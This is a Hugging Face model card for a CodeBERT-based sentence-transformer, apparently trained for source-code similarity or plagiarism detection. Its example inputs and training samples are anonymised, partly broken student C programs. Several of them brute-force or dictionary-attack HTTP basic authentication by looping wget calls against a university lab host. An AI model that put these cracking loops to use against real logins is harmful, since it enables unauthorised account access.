buelfhood/SOCO-C-CodeBERT-ST
SentenceTransformer based on microsoft/codebert-base
This is a sentence-transformers model finetuned from microsoft/codebert-base. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
Model Details
Model Description
- Model Type: Sentence Transformer
- Base model: microsoft/codebert-base <!-- at revision 3b0952feddeffad0063f274080e3c23d75e7eb39 -->
- Maximum Sequence Length: 512 tokens
- Output Dimensionality: 768 dimensions
- Similarity Function: Cosine Similarity <!-- - Training Dataset: Unknown --> <!-- - Language: Unknown --> <!-- - License: Unknown -->
Model Sources
- Documentation: Sentence Transformers Documentation
- Repository: Sentence Transformers on GitHub
- Hugging Face: Sentence Transformers on Hugging Face
Full Model Architecture
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)Usage
Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
pip install -U sentence-transformersThen you can load this model and run inference.
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])<!--
Direct Usage (Transformers)
<details><summary>Click to see the direct usage in Transformers</summary>
</details> -->
<!--
Downstream Usage (Sentence Transformers)
You can finetune this model on your own dataset.
<details><summary>Click to expand</summary>
</details> -->
<!--
Out-of-Scope Use
List how the model may foreseeably be misused and address what users ought not to do with the model. -->
<!--
Bias, Risks and Limitations
What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model. -->
<!--
Recommendations
What are recommendations with respect to the foreseeable issues? For example, filtering explicit content. -->
Training Details
Training Dataset
Unnamed Dataset
- Size: 3,081 training samples
- Columns: <code>sentence0</code>, <code>sentence1</code>, and <code>label</code>
- Approximate statistics based on the first 1000 samples: | | sentence0 | sentence1 | label | |:--------|:--------------------------------------------------------------------------------------|:--------------------------------------------------------------------------------------|:-----------------------------------------------| | type | string | string | int | | details | <ul><li>min: 194 tokens</li><li>mean: 471.57 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 194 tokens</li><li>mean: 458.65 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>0: ~99.20%</li><li>1: ~0.80%</li></ul> |
- Samples: | sentence0 | sentence1 | label | |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------| | <code>#include <strings.h><br>#include <string.h><br>#include <ctype.h><br>#include<sys/time.h><br>#include <stdio.h><br>#include <stdlib.h><br>#include <sys/times.h><br><br><br><br>int ()<br>{<br> int i,j,k,syst;<br> char password[4],first[100],last[100];<br> int count =0; <br> char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',<br> 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};<br> strcpy(first, "wget --http-user= --http-passwd=");<br> strcpy(last, " http://sec-crack.cs.rmit.edu./SEC/2/");<br> int Starttime,Endtime,Totaltime,average; <br> Starttime = time();<br>printf(" Time =%11dms\n", Starttime);<br> for (i=0;i<=52;i++)<br> {<br> for (j=0;j<=52;j++)<br> {<br> for(k=0;k<=52;k++)<br> {<br> password[0] = arr[i];<br> password[1] = arr[j];<br> password[2] = arr[k];<br> password[3] = '\0';<br> printf(" The Combination of the password tried %s \n" ,password);<br> printf("*...</code> | <code>#include <stdio.h><br>#include <stdlib.h><br>#include <sys/times.h><br>#include <strings.h><br>#include <string.h><br>#include <ctype.h><br><br><br><br>int ()<br>{<br> int i,j,k,sysoutput;<br> char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3];<br> char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',<br> 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};<br> strcpy(string1, "wget --http-user= --http-passwd=");<br> strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/");<br> <br> for (i=0;i<=52;i++)<br> { <br> [0] = arr[i];<br> [1] ='\0'; <br> strcpy(a,);<br> <br> printf("The first value is %s \n", a); <br><br> for (j=0;j<=52;j++)<br> { [0] = arr[j];<br> [1] = '\0'; <br> strcpy(temp1,a);<br> strcat(a,);<br> strcpy(b,a);<br> strcpy(a,temp1);<br> printf("The second value is %s \n", b); <br> for(k=0;k<=52;k++)<br> { <br> [0] =arr[k];<br> [1] = '\0...</code> | <code>1</code> | | <code>#include<stdio.h><br>#include<string.h><br>#include<strings.h><br>#include<stdlib.h><br>#include<sys/time.h><br><br>()<br>{<br> int i,m,k,count=0;<br> FILE* diction;<br> FILE* log;<br> char s[30];<br> char pic[30];<br> char add[1000];<br> char end[100];<br> timet ,finish;<br> double ttime;<br> <br> strcpy(add,"wget --http-user= --http-passwd=");<br> strcpy( end,"-nv -o logd http://sec-crack.cs.rmit.edu./SEC/2/");<br> diction=fopen("/usr/share/lib/dict/words","r");<br> =time(NULL);<br> while(fgets(s,100,diction)!=NULL) <br> { <br> printf("%s\n",s);<br> for(m=40,k=0;k<(strlen(s)-1);k++,m++)<br> {<br> add[m]=s[k];<br> }<br> add[m++]=' ';<br> for(i=0;i<50;i++,m++)<br> {<br> add[m]=end[i];<br> }<br> add[m]='\0';<br> <br> system(add);<br> count++;<br> log=fopen("logd","r");<br> fgets(pic,100,log);<br> printf("%s",pic);<br> if(strcmp(pic,"Authorization failed.\n")!=0) <br> {<br> finish=time(NULL);<br> ttime=difftime(,finish);<br> printf( "\n The timevar take:%f/n The of passwords tried is %d\n",ttime,count);<br> break;<br> }<br> fclose(log);<br> }<br><br>}<br></code> | <code><br><br><br><br>#include <stdio.h><br>#include <stdlib.h><br>#include <time.h><br><br>int () <br>{<br> int i,j,k,cntr=0;<br> char pass[3];<br> char password[3];<br> char get[96];<br> char username[]="";<br> int RVALUE;<br> double timeused;<br> <br> clockt ,end; <br> <br> =clock(); <br> <br> <br> <br> for (i = 65; i <= 122; i++)<br> {<br> if(i==91) {i=97;}<br> <br> for (j = 65; j <= 122; j++)<br> {<br> if(j==91) {j=97;}<br> <br> for (k = 65; k <= 122; k++)<br> {<br> if(k==91) {k=97;} <br> <br> pass[0] = i;<br> pass[1] = j;<br> pass[2] = k;<br> sprintf(password,"%c%c%c",pass[0],pass[1],pass[2]); <br> cntr++;<br> <br> printf("%d )%s\n\n", cntr, password);<br> sprintf(get,"wget --non-verbose --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);<br> <br><br> RVALUE=system(get);<br> <br> if(RVALUE==0) <br> {<br> printf("The Password has been cracked and it is : %s" , password);<br> ...</code> | <code>0</code> | | <code><br><br> <br> <br><br><br>#include<stdio.h><br>#include<stdlib.h><br>#include<string.h><br><br> <br> int ()<br> {<br> char url[30];<br> int exitValue=-1;<br> FILE fr;<br><br> char s[300]; <br> system("rm index.html");<br> system("wget http://www.cs.rmit.edu./students/ "); <br> system("mv index.html one.html");<br> <br> printf("System completed Writing\n"); <br> system("sleep 3600");<br> <br> <br> system("wget http://www.cs.rmit.edu./students/ "); <br> <br> <br> <br> exitValue=system("diff one.html index.html > .out" );<br> <br> fr=fopen(".out","r");<br> <br> strcpy(s,"mailx -s \"Testing Again\"");<br> <br> strcat(s," < .out");<br> if(fgets(url,30,fr))<br> {<br> system(s);<br> <br> system("rm one.html"); <br> <br> printf("\nCheck your mail") ; <br> fclose(fr); <br> }<br> else<br> {<br> printf(" changes detected"); <br> <br> system("rm one.html"); <br> fc...</code> | <code>#include<stdio.h><br>#include<stdlib.h><br>#include<string.h><br>#include<ctype.h><br>#include<time.h><br><br>int ()<br>{<br><br> int m,n,o,i;<br> timet u1,u2;<br> char v[3];<br> char temp1[100];<br> char temp2[100];<br> char temp3[250];<br> FILE *fin1;<br> <br> char point[25];<br> fin1=fopen("./words.txt","r");<br> <br> if(fin1==NULL)<br> {<br> printf(" open the file ");<br> exit(0);<br> } <br> <br><br> strcpy(temp2," --http-user= --http-passwd=");<br> strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php");<br> <br> strcpy(temp3,"");<br> <br> (void) time(&u1); <br> <br> while(!feof(fin1)) <br> {<br> <br> fgets(point,25,fin1);<br> if(strlen(point)<=4)<br> {<br> <br> <br> strcpy(temp3,temp1);<br> strcat(temp3,temp2);<br> strcat(temp3,point);<br> printf("\nSending the %s\n",temp3);<br> i=system(temp3); <br> <br> if(i==0)<br> {<br> (void) time(&u2); <br> printf("\n The password is %s\n",point);<br> printf("\n\nThe timevar taken crack the passwork is %d second\n\n",(int)(u2-u1));<br> exit(0);<br> } <br> else<br> {<br> strcpy(temp3,"");<br> }<br> <br> <br> }<br> }<br> <br> <br>} ...</code> | <code>0</code> |
- Loss: <code>BatchAllTripletLoss</code>
Training Hyperparameters
Non-Default Hyperparameters
per_device_train_batch_size: 16per_device_eval_batch_size: 16num_train_epochs: 1fp16: Truemulti_dataset_batch_sampler: round_robin
All Hyperparameters
<details><summary>Click to expand</summary>
overwrite_output_dir: Falsedo_predict: Falseeval_strategy: noprediction_loss_only: Trueper_device_train_batch_size: 16per_device_eval_batch_size: 16per_gpu_train_batch_size: Noneper_gpu_eval_batch_size: Nonegradient_accumulation_steps: 1eval_accumulation_steps: Nonetorch_empty_cache_steps: Nonelearning_rate: 5e-05weight_decay: 0.0adam_beta1: 0.9adam_beta2: 0.999adam_epsilon: 1e-08max_grad_norm: 1num_train_epochs: 1max_steps: -1lr_scheduler_type: linearlr_scheduler_kwargs: {}warmup_ratio: 0.0warmup_steps: 0log_level: passivelog_level_replica: warninglog_on_each_node: Truelogging_nan_inf_filter: Truesave_safetensors: Truesave_on_each_node: Falsesave_only_model: Falserestore_callback_states_from_checkpoint: Falseno_cuda: Falseuse_cpu: Falseuse_mps_device: Falseseed: 42data_seed: Nonejit_mode_eval: Falseuse_ipex: Falsebf16: Falsefp16: Truefp16_opt_level: O1half_precision_backend: autobf16_full_eval: Falsefp16_full_eval: Falsetf32: Nonelocal_rank: 0ddp_backend: Nonetpu_num_cores: Nonetpu_metrics_debug: Falsedebug: []dataloader_drop_last: Falsedataloader_num_workers: 0dataloader_prefetch_factor: Nonepast_index: -1disable_tqdm: Falseremove_unused_columns: Truelabel_names: Noneload_best_model_at_end: Falseignore_data_skip: Falsefsdp: []fsdp_min_num_params: 0fsdp_config: {'minnumparams': 0, 'xla': False, 'xlafsdpv2': False, 'xlafsdpgrad_ckpt': False}fsdp_transformer_layer_cls_to_wrap: Noneaccelerator_config: {'splitbatches': False, 'dispatchbatches': None, 'evenbatches': True, 'useseedablesampler': True, 'nonblocking': False, 'gradientaccumulationkwargs': None}deepspeed: Nonelabel_smoothing_factor: 0.0optim: adamw_torchoptim_args: Noneadafactor: Falsegroup_by_length: Falselength_column_name: lengthddp_find_unused_parameters: Noneddp_bucket_cap_mb: Noneddp_broadcast_buffers: Falsedataloader_pin_memory: Truedataloader_persistent_workers: Falseskip_memory_metrics: Trueuse_legacy_prediction_loop: Falsepush_to_hub: Falseresume_from_checkpoint: Nonehub_model_id: Nonehub_strategy: every_savehub_private_repo: Nonehub_always_push: Falsegradient_checkpointing: Falsegradient_checkpointing_kwargs: Noneinclude_inputs_for_metrics: Falseinclude_for_metrics: []eval_do_concat_batches: Truefp16_backend: autopush_to_hub_model_id: Nonepush_to_hub_organization: Nonemp_parameters:auto_find_batch_size: Falsefull_determinism: Falsetorchdynamo: Noneray_scope: lastddp_timeout: 1800torch_compile: Falsetorch_compile_backend: Nonetorch_compile_mode: Noneinclude_tokens_per_second: Falseinclude_num_input_tokens_seen: Falseneftune_noise_alpha: Noneoptim_target_modules: Nonebatch_eval_metrics: Falseeval_on_start: Falseuse_liger_kernel: Falseeval_use_gather_object: Falseaverage_tokens_across_devices: Falseprompts: Nonebatch_sampler: batch_samplermulti_dataset_batch_sampler: round_robinrouter_mapping: {}learning_rate_mapping: {}
</details>
Framework Versions
- Python: 3.11.13
- Sentence Transformers: 5.0.0
- Transformers: 4.52.4
- PyTorch: 2.6.0+cu124
- Accelerate: 1.8.1
- Datasets: 3.6.0
- Tokenizers: 0.21.2
Citation
BibTeX
Sentence Transformers
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}BatchAllTripletLoss
@misc{hermans2017defense,
title={In Defense of the Triplet Loss for Person Re-Identification},
author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
year={2017},
eprint={1703.07737},
archivePrefix={arXiv},
primaryClass={cs.CV}
}<!--
Glossary
Clearly define terms in order to be accessible across audiences. -->
<!--
Model Card Authors
Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction. -->
<!--
Model Card Contact
Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors. -->
